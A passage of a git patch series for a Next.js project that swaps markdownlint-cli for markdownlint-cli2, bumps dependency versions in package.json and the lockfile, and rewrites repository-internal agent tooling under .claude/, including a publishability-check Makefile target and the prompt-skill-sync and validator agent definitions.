"node_modules/markdownlint-cli/node_modules/commander": { - "version": "15.0.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-15.0.0.tgz", - "integrity": "sha512-z67u4ZhzCL/Tydu1lJARtEZYWbWaN7oYLHbsuzocr6y4N6WZAagG3RQ4FW61V1/0+jImpj293XfrcYnd1qxtPg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=22.12.0" + "funding": { + "url": "https://github.com/sponsors/DavidAnson" } }, - "node_modules/markdownlint-cli/node_modules/ignore": { - "version": "7.0.6", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.6.tgz", - "integrity": "sha512-BAg6QkE8W+TuQLrrw0Ugr7HegXduRuuj8/ti2kSOc+jz1dmx8/WNcjr6XGnq5YpDWxFwwaavqD0+jIUOKelTsw==", + "node_modules/markdownlint-cli2-formatter-default": { + "version": "0.0.6", + "resolved": "https://registry.npmjs.org/markdownlint-cli2-formatter-default/-/markdownlint-cli2-formatter-default-0.0.6.tgz", + "integrity": "sha512-VVDGKsq9sgzu378swJ0fcHfSicUnMxnL8gnLm/Q4J/xsNJ4e5bA6lvAz7PCzIl0/No0lHyaWdqVD2jotxOSFMQ==", "dev": true, "license": "MIT", - "engines": { - "node": ">= 4" + "funding": { + "url": "https://github.com/sponsors/DavidAnson" + }, + "peerDependencies": { + "markdownlint-cli2": ">=0.0.4" } }, - "node_modules/markdownlint-cli/node_modules/js-yaml": { + "node_modules/markdownlint-cli2/node_modules/js-yaml": { "version": "5.2.1", "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-5.2.1.tgz", "integrity": "sha512-zfLtNfQqxVqq3uaTqSkh4x4hZw3KHobGUA0fJUj4wawW8bsQLTVqpHdXSIzidh7o+4lEW36tANuAGdaFx6Zgnw==", @@ -14231,22 +14354,6 @@ "js-yaml": "bin/js-yaml.mjs" } }, - "node_modules/markdownlint-cli/node_modules/minimatch": { - "version": "10.2.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.5.tgz", - "integrity": "sha512-MULkVLfKGYDFYejP07QOurDLLQpcjk7Fw+7jXS2R2czRQzR56yHRveU5NDJEOviH+hETZKSkIk5c+T23GjFUMg==", - "dev": true, - "license": "BlueOak-1.0.0", - "dependencies": { - "brace-expansion": "^5.0.5" - }, - "engines": { - "node": "18 || 20 || >=22" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, "node_modules/markdownlint/node_modules/string-width": { "version": "8.2.1", "resolved": "https://registry.npmjs.org/string-width/-/string-width-8.2.1.tgz", @@ -14294,6 +14401,16 @@ "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", "license": "MIT" }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, "node_modules/meriyah": { "version": "6.1.4", "resolved": "https://registry.npmjs.org/meriyah/-/meriyah-6.1.4.tgz", @@ -14839,6 +14956,33 @@ ], "license": "MIT" }, + "node_modules/micromatch": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", + "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", + "dev": true, + "license": "MIT", + "dependencies": { + "braces": "^3.0.3", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/micromatch/node_modules/picomatch": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, "node_modules/mime-db": { "version": "1.52.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", @@ -16443,6 +16587,27 @@ "url": "https://github.com/sponsors/ljharb" } }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, "node_modules/re2js": { "version": "0.4.3", "resolved": "https://registry.npmjs.org/re2js/-/re2js-0.4.3.tgz", @@ -16734,6 +16899,17 @@ "url": "https://github.com/sponsors/isaacs" } }, + "node_modules/reusify": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz", + "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==", + "dev": true, + "license": "MIT", + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, "node_modules/rfdc": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/rfdc/-/rfdc-1.4.1.tgz", @@ -16792,30 +16968,28 @@ "dev": true, "license": "MIT" }, - "node_modules/run-con": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/run-con/-/run-con-1.3.3.tgz", - "integrity": "sha512-Lb7OKM9aaykzyoNiHGhSVCjZsvbyy6qDMp2vDXL+MoCfz3GfNJtHYH7uYsU3QNMyInBk++xx+EZ8xZ8Sxs5fNQ==", + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", "dev": true, - "license": "(BSD-2-Clause OR MIT OR Apache-2.0)", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", "dependencies": { - "deep-extend": "^0.6.0", - "ini": "~7.0.0", - "minimist": "^1.2.8", - "strip-json-comments": "~3.1.1" - }, - "bin": { - "run-con": "cli.js" - } - }, - "node_modules/run-con/node_modules/ini": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/ini/-/ini-7.0.0.tgz", - "integrity": "sha512-ifK0CgjALofS5bkrcTy4RaQ9Vx2Knf/eLeIO+NaswQEpH1UblrtTSCIvN71qQDMq0PeQ/SSPojvEJp9vvvfr+w==", - "dev": true, - "license": "ISC", - "engines": { - "node": "^22.22.2 || ^24.15.0 || >=26.0.0" + "queue-microtask": "^1.2.2" } }, "node_modules/rxjs": { @@ -17729,9 +17903,9 @@ } }, "node_modules/systeminformation": { - "version": "5.31.17", - "resolved": "https://registry.npmjs.org/systeminformation/-/systeminformation-5.31.17.tgz", - "integrity": "sha512-TvFA9iwDWlMjqZVlKIJ0Cy+Zgm9ttlMx0SMRwJDMNKyhlEKWBMb3+WRwDi/3dvHdWbexpos4Osp4U49p5WjB5g==", + "version": "5.33.0", + "resolved": "https://registry.npmjs.org/systeminformation/-/systeminformation-5.33.0.tgz", + "integrity": "sha512-0LYSL01CCbjVeJG7iXI8fUCFU76zMjzbHd/EU3or4QpSFYCLMgslR11prwHuA3siz5jmOkqoLhjgOyDRmXBKmA==", "dev": true, "license": "MIT", "os": [ @@ -17748,7 +17922,7 @@ "systeminformation": "lib/cli.js" }, "engines": { - "node": ">=8.0.0" + "node": ">=10.0.0" }, "funding": { "type": "Buy me a coffee", @@ -17936,6 +18110,19 @@ "dev": true, "license": "BSD-3-Clause" }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, "node_modules/tough-cookie": { "version": "5.1.2", "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-5.1.2.tgz", @@ -18116,6 +18303,19 @@ "node": ">=4" } }, + "node_modules/unicorn-magic": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/unicorn-magic/-/unicorn-magic-0.4.0.tgz", + "integrity": "sha512-wH590V9VNgYH9g3lH9wWjTrUoKsjLF6sGLjhR4sH1LWpLmCOH0Zf7PukhDA8BiS7KHe4oPNkcTHqYkj7SOGUOw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/universalify": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", diff --git a/package.json b/package.json index 77484f3b..09bf4eb1 100644 --- a/package.json +++ b/package.json @@ -19,7 +19,8 @@ "e2e:headless": "start-server-and-test dev http://localhost:3000 \"cypress run --e2e --browser electron\"", "eslint:check": "eslint ./", "eslint": "eslint --fix ./", - "lint:markdown": "markdownlint \"**/*.md\"", + "lint:markdown": "markdownlint-cli2 --fix", + "lint:markdown:check": "markdownlint-cli2", "prettier:check": "prettier --check ./", "prettier": "prettier --write ./", "regen-package-lock": "rm -rf node_modules package-lock.json && npm run audit:fix", @@ -70,7 +71,7 @@ "jest": "^30.4.2", "jest-environment-jsdom": "^30.4.1", "jest-transform-stub": "^2.0.0", - "markdownlint-cli": "^0.49.1", + "markdownlint-cli2": "^0.23.1", "prettier": "^3.8.4", "sass": "^1.99.0", "start-server-and-test": "^3.0.11", From 0d1758fbb868b677e92d25727ac08fc3c0b6b6dd Mon Sep 17 00:00:00 2001 From: Alexander Sullivan Date: Mon, 3 Aug 2026 14:29:57 -0400 Subject: [PATCH 4/7] update packages --- package-lock.json | 22 +++++++++++----------- package.json | 22 +++++++++++----------- 2 files changed, 22 insertions(+), 22 deletions(-) diff --git a/package-lock.json b/package-lock.json index 858cdfab..fa41118c 100644 --- a/package-lock.json +++ b/package-lock.json @@ -13,19 +13,19 @@ "@emotion/styled": "^11.14.1", "@mui/icons-material": "^9.2.0", "@mui/material": "^9.2.0", - "@sentry/nextjs": "^10.53.1", + "@sentry/nextjs": "^10.67.0", "@vercel/speed-insights": "^2.0.0", "firebase": "^12.16.0", "lodash": "^4.18.1", - "next": "^16.2.9", + "next": "^16.2.10", "react": "^19.2.7", "react-dom": "^19.2.7", "sharp": "^0.35.3", - "webpack": "^5.107.2" + "webpack": "^5.108.4" }, "devDependencies": { - "@sentry/core": "^10.53.1", - "@sentry/types": "^10.53.1", + "@sentry/core": "^10.67.0", + "@sentry/types": "^10.67.0", "@svgr/webpack": "^8.1.0", "@testing-library/jest-dom": "^6.9.1", "@testing-library/react": "^16.3.2", @@ -35,20 +35,20 @@ "@types/node": "^26.1.1", "@types/react": "^19.2.17", "@types/react-dom": "^19.2.3", - "@typescript-eslint/parser": "^8.64.0", - "caniuse-lite": "^1.0.30001792", + "@typescript-eslint/parser": "^8.65.0", + "caniuse-lite": "^1.0.30001806", "concurrently": "^10.0.3", - "cypress": "^15.15.0", + "cypress": "^15.18.1", "cypress-axe": "^1.7.0", - "eslint": "^10.3.0", + "eslint": "^10.7.0", "eslint-plugin-cypress": "^6.4.3", "globals": "^17.7.0", "jest": "^30.4.2", "jest-environment-jsdom": "^30.4.1", "jest-transform-stub": "^2.0.0", "markdownlint-cli2": "^0.23.1", - "prettier": "^3.8.4", - "sass": "^1.99.0", + "prettier": "^3.9.5", + "sass": "^1.101.0", "start-server-and-test": "^3.0.11", "typescript": "^6.0.3" } diff --git a/package.json b/package.json index 09bf4eb1..72d46ea6 100644 --- a/package.json +++ b/package.json @@ -38,19 +38,19 @@ "@emotion/styled": "^11.14.1", "@mui/icons-material": "^9.2.0", "@mui/material": "^9.2.0", - "@sentry/nextjs": "^10.53.1", + "@sentry/nextjs": "^10.67.0", "@vercel/speed-insights": "^2.0.0", "firebase": "^12.16.0", "lodash": "^4.18.1", - "next": "^16.2.9", + "next": "^16.2.10", "react": "^19.2.7", "react-dom": "^19.2.7", "sharp": "^0.35.3", - "webpack": "^5.107.2" + "webpack": "^5.108.4" }, "devDependencies": { - "@sentry/core": "^10.53.1", - "@sentry/types": "^10.53.1", + "@sentry/core": "^10.67.0", + "@sentry/types": "^10.67.0", "@svgr/webpack": "^8.1.0", "@testing-library/jest-dom": "^6.9.1", "@testing-library/react": "^16.3.2", @@ -60,20 +60,20 @@ "@types/node": "^26.1.1", "@types/react": "^19.2.17", "@types/react-dom": "^19.2.3", - "@typescript-eslint/parser": "^8.64.0", - "caniuse-lite": "^1.0.30001792", + "@typescript-eslint/parser": "^8.65.0", + "caniuse-lite": "^1.0.30001806", "concurrently": "^10.0.3", - "cypress": "^15.15.0", + "cypress": "^15.18.1", "cypress-axe": "^1.7.0", - "eslint": "^10.3.0", + "eslint": "^10.7.0", "eslint-plugin-cypress": "^6.4.3", "globals": "^17.7.0", "jest": "^30.4.2", "jest-environment-jsdom": "^30.4.1", "jest-transform-stub": "^2.0.0", "markdownlint-cli2": "^0.23.1", - "prettier": "^3.8.4", - "sass": "^1.99.0", + "prettier": "^3.9.5", + "sass": "^1.101.0", "start-server-and-test": "^3.0.11", "typescript": "^6.0.3" }, From a01260066dca9d495ab8093ed762b38f9c4d9b23 Mon Sep 17 00:00:00 2001 From: Alexander Sullivan Date: Mon, 3 Aug 2026 16:28:31 -0400 Subject: [PATCH 5/7] skills ready for publish --- .claude/Makefile | 16 +- .claude/agents/prompt-skill-sync.md | 51 +- .claude/agents/validator.md | 2 +- .claude/hooks/markdown-audit-reminder.mts | 2 +- .claude/hooks/prompt-skill-sync.mts | 57 +- .claude/hooks/validate-gate.mts | 9 +- .claude/rules/docs-authoring.md | 4 +- .claude/rules/prompt-skill-sync.md | 80 +- .claude/rules/repo-independence.md | 2 +- .claude/scripts/check-prompt-skill-sync.mjs | 121 -- .../scripts/check-skill-publishability.mjs | 294 ++++ .claude/skills/audit-docs/LICENSE.txt | 21 + .claude/skills/audit-docs/SKILL.md | 31 +- .../audit-docs/agents/claim-verifier.md | 99 ++ .../assets/audit-report.template.md | 102 ++ .../diagram-and-image-accessibility.md | 140 ++ .../references/evidence-and-citation.md | 89 ++ .../references/voice-and-ai-tells.md | 140 ++ .claude/skills/audit-pr/LICENSE.txt | 21 + .claude/skills/audit-pr/SKILL.md | 30 +- .../skills/audit-pr/agents/finding-refuter.md | 99 ++ .../assets/review-summary.template.md | 128 ++ .../audit-pr/references/cost-and-billing.md | 123 ++ .../environment-and-observability.md | 140 ++ .../references/security-and-privacy.md | 138 ++ .../audit-pr/references/supply-chain.md | 127 ++ .claude/skills/audit-quality/LICENSE.txt | 21 + .claude/skills/audit-quality/SKILL.md | 3 +- .claude/skills/check-skills/SKILL.md | 31 + .claude/skills/skill-creator/LICENSE.txt | 202 --- .claude/skills/skill-creator/SKILL.md | 485 ------ .../skills/skill-creator/agents/analyzer.md | 274 ---- .../skills/skill-creator/agents/comparator.md | 202 --- .claude/skills/skill-creator/agents/grader.md | 223 --- .../skill-creator/assets/eval_review.html | 146 -- .../eval-viewer/generate_review.py | 471 ------ .../skill-creator/eval-viewer/viewer.html | 1325 ----------------- .../skill-creator/references/schemas.md | 430 ------ .../skills/skill-creator/scripts/__init__.py | 0 .../scripts/aggregate_benchmark.py | 401 ----- .../skill-creator/scripts/generate_report.py | 326 ---- .../scripts/improve_description.py | 247 --- .../skill-creator/scripts/package_skill.py | 136 -- .../skill-creator/scripts/quick_validate.py | 103 -- .../skills/skill-creator/scripts/run_eval.py | 310 ---- .../skills/skill-creator/scripts/run_loop.py | 328 ---- .claude/skills/skill-creator/scripts/utils.py | 47 - .claude/skills/sync-audit-prompts/SKILL.md | 27 - .../SKILL.md | 22 +- .../agents/comment-and-jsdoc-auditor.md | 5 + .../agents/test-quality-reviewer.md | 5 + .../references/comments-and-jsdoc.md | 8 +- .../references/test-standards.md | 12 +- .claude/skills/write-tests/SKILL.md | 2 + .github/copilot-instructions.md | 2 +- .github/prompts/audit-docs.prompt.md | 8 +- .github/prompts/audit-pr.prompt.md | 16 +- .github/prompts/readme.md | 35 +- .markdownlint-cli2.jsonc | 4 - .prettierignore | 3 - CLAUDE.md | 13 +- src/instrumentation.ts | 1 + 62 files changed, 1964 insertions(+), 5976 deletions(-) delete mode 100644 .claude/scripts/check-prompt-skill-sync.mjs create mode 100644 .claude/scripts/check-skill-publishability.mjs create mode 100644 .claude/skills/audit-docs/LICENSE.txt create mode 100644 .claude/skills/audit-docs/agents/claim-verifier.md create mode 100644 .claude/skills/audit-docs/assets/audit-report.template.md create mode 100644 .claude/skills/audit-docs/references/diagram-and-image-accessibility.md create mode 100644 .claude/skills/audit-docs/references/evidence-and-citation.md create mode 100644 .claude/skills/audit-docs/references/voice-and-ai-tells.md create mode 100644 .claude/skills/audit-pr/LICENSE.txt create mode 100644 .claude/skills/audit-pr/agents/finding-refuter.md create mode 100644 .claude/skills/audit-pr/assets/review-summary.template.md create mode 100644 .claude/skills/audit-pr/references/cost-and-billing.md create mode 100644 .claude/skills/audit-pr/references/environment-and-observability.md create mode 100644 .claude/skills/audit-pr/references/security-and-privacy.md create mode 100644 .claude/skills/audit-pr/references/supply-chain.md create mode 100644 .claude/skills/audit-quality/LICENSE.txt create mode 100644 .claude/skills/check-skills/SKILL.md delete mode 100644 .claude/skills/skill-creator/LICENSE.txt delete mode 100644 .claude/skills/skill-creator/SKILL.md delete mode 100644 .claude/skills/skill-creator/agents/analyzer.md delete mode 100644 .claude/skills/skill-creator/agents/comparator.md delete mode 100644 .claude/skills/skill-creator/agents/grader.md delete mode 100644 .claude/skills/skill-creator/assets/eval_review.html delete mode 100644 .claude/skills/skill-creator/eval-viewer/generate_review.py delete mode 100644 .claude/skills/skill-creator/eval-viewer/viewer.html delete mode 100644 .claude/skills/skill-creator/references/schemas.md delete mode 100644 .claude/skills/skill-creator/scripts/__init__.py delete mode 100755 .claude/skills/skill-creator/scripts/aggregate_benchmark.py delete mode 100755 .claude/skills/skill-creator/scripts/generate_report.py delete mode 100755 .claude/skills/skill-creator/scripts/improve_description.py delete mode 100755 .claude/skills/skill-creator/scripts/package_skill.py delete mode 100755 .claude/skills/skill-creator/scripts/quick_validate.py delete mode 100755 .claude/skills/skill-creator/scripts/run_eval.py delete mode 100755 .claude/skills/skill-creator/scripts/run_loop.py delete mode 100644 .claude/skills/skill-creator/scripts/utils.py delete mode 100644 .claude/skills/sync-audit-prompts/SKILL.md diff --git a/.claude/Makefile b/.claude/Makefile index 4139497a..239bf3b6 100644 --- a/.claude/Makefile +++ b/.claude/Makefile @@ -2,24 +2,18 @@ # # Run from the repository root: # -# make -f .claude/Makefile sync-prompts +# make -f .claude/Makefile check-skills # # This lives here rather than at the repository root because it contains nothing but # agent tooling, and the root is the product. Nothing in `npm run validate` or in a # workflow may invoke any of it. See `rules/repo-independence.md`. -SYNC := .claude/scripts/check-prompt-skill-sync.mjs +CHECK := .claude/scripts/check-skill-publishability.mjs -.PHONY: help sync-prompts sync-prompts-to-skill sync-prompts-to-prompt +.PHONY: help check-skills help: ## List the available targets @grep -E '^[a-zA-Z_-]+:.*?## .*$$' $(MAKEFILE_LIST) | awk 'BEGIN {FS = ":.*?## "}; {printf " %-24s %s\n", $$1, $$2}' -sync-prompts: ## Check that each audit prompt and its mirrored skill carry the same body - @node $(SYNC) - -sync-prompts-to-skill: ## Copy each prompt body onto its skill, after editing the prompt - @node $(SYNC) --fix=to-skill - -sync-prompts-to-prompt: ## Copy each skill body onto its prompt, after editing the skill - @node $(SYNC) --fix=to-prompt +check-skills: ## Validate every skill against the Agent Skills spec, and each published half against the isolation rules + @node $(CHECK) diff --git a/.claude/agents/prompt-skill-sync.md b/.claude/agents/prompt-skill-sync.md index 60ec59bf..77287516 100644 --- a/.claude/agents/prompt-skill-sync.md +++ b/.claude/agents/prompt-skill-sync.md @@ -1,49 +1,54 @@ --- name: prompt-skill-sync -description: Reconciles a mirrored prompt and skill pair and returns a short verdict instead of two long files. Use when the sync check fails, when both halves of a pair were edited, or before reporting work complete on any change under .github/prompts/ or .claude/skills/audit-*/. +description: Judges whether a published audit's prompt half and skill half still aim at the same outcome, repairs a real divergence, and returns a short verdict instead of two long files. Use after editing either half, or before reporting work complete on any change under .github/prompts/ or .claude/skills/. tools: Bash, Read, Edit, Write, Grep, Glob background: false color: cyan --- -You reconcile the mirrored prompt and skill pairs in this repository and return a verdict. Each pair is two files whose bodies below the frontmatter must match byte for byte, and reading both in the calling context costs several hundred lines for an answer that is usually one sentence. That is why this runs here. +You judge whether the two halves of a published audit still aim at the same outcome, and you repair them when they do not. Reading both files in the calling context costs several hundred lines for an answer that is usually one sentence. That is why this runs here. ## The pairs -`.github/prompts/.prompt.md` mirrors `.claude/skills//SKILL.md`. Only the frontmatter differs: the prompt carries Copilot's keys (`description`, `name`, `argument-hint`, `agent`), the skill carries the Agent Skills keys (`name`, `description`, `argument-hint`). Everything below the closing `---` is identical. +`.github/prompts/.prompt.md` and `.claude/skills//SKILL.md` are two deliveries of one audit. Someone whose employer allows a single file in the repository takes the prompt. Someone who can install a directory takes the skill, and gets its bundled `references/`, `agents/`, and `assets/` too. -## Procedure +**The bodies are not identical, and are not meant to be.** A byte comparison would report noise. What you are judging is whether both halves still describe the same job, hold the reader to the same rules, and produce the same shape of output. + +## What must never differ -1. **Check first.** Run `make -f .claude/Makefile sync-prompts` and read the exit code. If it exits 0, report that all pairs are in sync and stop. Do not edit anything. -2. **Establish the direction.** For each failing pair, work out which half carries the intended edit. `git diff` and `git status` show which file changed; where both changed, or where git cannot settle it, **ask rather than guess**. Overwriting the edited half silently destroys work, which is the one failure mode this agent exists to avoid. -3. **Propagate mechanically.** Run `make -f .claude/Makefile sync-prompts-to-skill` or `make -f .claude/Makefile sync-prompts-to-prompt`. Never hand-copy the body: the check is byte-exact, and a manual copy introduces whitespace differences that are invisible in review. -4. **Where both halves carry different intended edits**, merge by hand into one half first, then propagate from it. Say in your report that you merged and what you took from each side. -5. **Re-run the check** and confirm exit 0. -6. **Audit the shared body** for the self-containment rules below, since a violation there is not something the byte check can catch. +- **A hard rule.** If one half forbids something, so must the other. A rule present only in the skill is a silent downgrade for every prompt reader, and this is the failure this agent exists to catch. +- **The scope resolution**, the evidence standard, and the output format. +- **The objective.** Both halves describe the same job. -## Self-containment rules the byte check cannot enforce +## What is allowed to differ -Both halves get copied into other people's repositories alone. Report any of these as a finding: +- **Bundled depth.** Only the skill can point at `references/`, `agents/`, or `assets/`. A skill section that delegates detail to a bundled file is correct, not drift, provided the rule itself still appears in both halves. +- **Fallback instructions.** The skill half may carry resolution steps for an agent that resolves less automatically than a prompt-file host does. +- **Frontmatter.** It was never shared. + +## Procedure -- **A relative markdown link** in the body. A copied file resolves none of them. File references in the body are code spans, not links. -- **A reference to a sibling prompt** by name. A reader may hold only one of the three, so each body describes its own job and nothing else. -- **Anything specific to this repository:** a command from `package.json`, a path under `src/`, or a convention only this project follows. -- **A provenance or attribution line** in the body. The licence travels separately. +1. **Run `make -f .claude/Makefile check-skills` first** and read the exit code. It decides the mechanical questions: specification validity, licences, bundled paths resolving, and the isolation rules. Fix anything it reports before judging parity, and report what you fixed. +2. **Read both halves in full.** There is no shortcut; the judgement is semantic. +3. **Build a rule inventory for each half.** List every hard rule, prohibition, evidence requirement, and output-format element. Compare the two lists rather than the two texts. +4. **Classify each difference** as allowed depth, allowed fallback, or a real divergence. State which for every difference you found, so the caller can check your reasoning. +5. **Repair a real divergence.** Establish which half carries the intended edit from `git diff` and `git status`. Where both changed, or where git cannot settle it, **ask rather than guess**: overwriting the edited half destroys work. Then port the rule into the half that lacks it, in that half's own voice and structure, rather than pasting text across. +6. **Re-run the check** and confirm exit 0. ## Also verify -- Both halves still pass `npm run lint:markdown:check` and `npx prettier --check`. Both tools now reach both halves, so a formatting change to one without the other is caught rather than silently desyncing the pair. -- The prompt frontmatter uses only `description`, `name`, `argument-hint`, `agent`, `model`, and `tools`. Any other key is silently ignored by Copilot. -- The skill frontmatter's `name` matches its directory name. -- No em-dash or en-dash appears in either file. +- Neither half names the other, a sibling audit, or this repository. The prompt names nothing beside it; the skill names nothing outside itself. +- Both halves still pass `npm run lint:markdown:check` and `npx prettier --check`. +- The prompt frontmatter uses only `description`, `name`, `argument-hint`, `agent`, `model`, and `tools`. Any other key is ignored by the prompt-file hosts. +- No em-dash or en-dash appears in either file, and neither uses contractions. ## Output Return a short verdict, not the file contents: -- Which pairs were in sync, which diverged, and the direction you propagated each. -- Any merge you performed by hand, and what you took from each side. -- Any self-containment finding, quoted. +- **Parity: held or broken**, per pair. +- Every difference you found, each classified as allowed depth, allowed fallback, or divergence, in one line apiece. +- Any repair you made, which half you edited, and how you established the direction. - The final exit code of the check. If you could not establish a direction and had to stop, say so plainly and name the pair. A stopped run is a correct outcome; an overwritten edit is not. diff --git a/.claude/agents/validator.md b/.claude/agents/validator.md index fc0e3263..070988a8 100644 --- a/.claude/agents/validator.md +++ b/.claude/agents/validator.md @@ -37,7 +37,7 @@ Fix the cause, not the symptom. Specifically: - Never weaken, skip, or delete a test to make a gate pass. Read the test, read the source, find the cause. See [`typescript-code-and-test-standards`](../skills/typescript-code-and-test-standards/SKILL.md) for the rule and [`testing.md`](../rules/testing.md) for this repository's specifics. - Never add a fallback in production code to satisfy a failing test. - Never silence a type error with `any`, `unknown`, `@ts-ignore`, or an `eslint-disable`. Replace it with a concrete type. See [`code-style.md`](../rules/code-style.md). -- The prompt-and-skill mirroring check is **not** one of these gates and is not part of `npm run validate`. Run it with `make -f .claude/Makefile sync-prompts` when a change touched either half, and fix a divergence with `make -f .claude/Makefile sync-prompts-to-skill` (or `make -f .claude/Makefile sync-prompts-to-prompt`), never by hand-copying and never by guessing the direction: ask if it is unclear which half was edited. +- The skill publishability check is **not** one of these gates and is not part of `npm run validate`. Run it with `make -f .claude/Makefile check-skills` when a change touched a skill or a prompt. Whether a published audit's two halves still aim at the same outcome is a judgement rather than a diff, and it belongs to the `prompt-skill-sync` subagent, never to hand-copying. - Re-run the failing gate after each fix, then re-run the gates that precede it if your fix touched files they check. If a failure is pre-existing and unrelated to the change under test, fix it anyway when it is small, and report it plainly when it is not. Do not present it as passing. diff --git a/.claude/hooks/markdown-audit-reminder.mts b/.claude/hooks/markdown-audit-reminder.mts index 4fa72a45..93fe898e 100644 --- a/.claude/hooks/markdown-audit-reminder.mts +++ b/.claude/hooks/markdown-audit-reminder.mts @@ -21,7 +21,7 @@ interface HookPayload { const REMINDER = 'This edit changed a Markdown file. Follow `.claude/rules/docs-authoring.md` ' + - '(canonical spec: `.github/prompts/audit-docs.prompt.md`): document only what the ' + + '(full rules: `.github/prompts/audit-docs.prompt.md`): document only what the ' + 'code provably does (no speculation), no subjective adjectives but not robotic prose ' + '(lead with the point; show facts rather than assert them), reference files as ' + 'clickable markdown links to files (never bare names or directories), keep snippets ' + diff --git a/.claude/hooks/prompt-skill-sync.mts b/.claude/hooks/prompt-skill-sync.mts index d320c94e..42903acb 100644 --- a/.claude/hooks/prompt-skill-sync.mts +++ b/.claude/hooks/prompt-skill-sync.mts @@ -1,13 +1,13 @@ #!/usr/bin/env node -// PostToolUse hook (Write / Edit / MultiEdit). When one half of a prompt-and-skill -// pair is edited, names the counterpart that now needs the same edit. +// PostToolUse hook (Write / Edit / MultiEdit). When one half of a published audit is +// edited, names the other half, which now has to be judged against it. // // Run via `node --experimental-strip-types` (no build step, no dependencies). -// The path-scoped rule `.claude/rules/prompt-skill-sync.md` is the primary carrier -// of this obligation; this hook is the guaranteed, deterministic backstop, and -// `.claude/scripts/check-prompt-skill-sync.mjs` is the checker, run on demand through -// `make -f .claude/Makefile sync-prompts`. It is deliberately not part of `npm run validate`: the repository -// must build, test, and lint with no agent tooling present. +// The path-scoped rule `.claude/rules/prompt-skill-sync.md` carries the contract; this hook +// is the deterministic backstop; `.claude/scripts/check-skill-publishability.mjs` decides the +// mechanical rules, on demand through `make -f .claude/Makefile check-skills`. That check is +// deliberately not part of `npm run validate`: the repository must build, test, and lint with +// no agent tooling present. // // Type-stripping-safe TypeScript only: type annotations / interfaces, no enums, // namespaces, or parameter properties. @@ -18,27 +18,24 @@ interface ToolInput { file_path?: string; } -/** The other half of a mirrored pair, and which way to propagate onto it. */ -interface Counterpart { - path: string; - direction: string; -} - interface HookPayload { tool_name?: string; tool_input?: ToolInput; } +/** Audits that ship as both a prompt file and a skill directory. */ +const PAIRED = ['audit-docs', 'audit-pr', 'audit-quality']; + /** - * Returns the counterpart path for either half of a pair, or null for any other file. + * Returns the other half of a published audit, or null for any other file. * - * The skill side is scoped to `audit-*` so that an unmirrored skill, such as - * `typescript-code-and-test-standards`, does not get told its 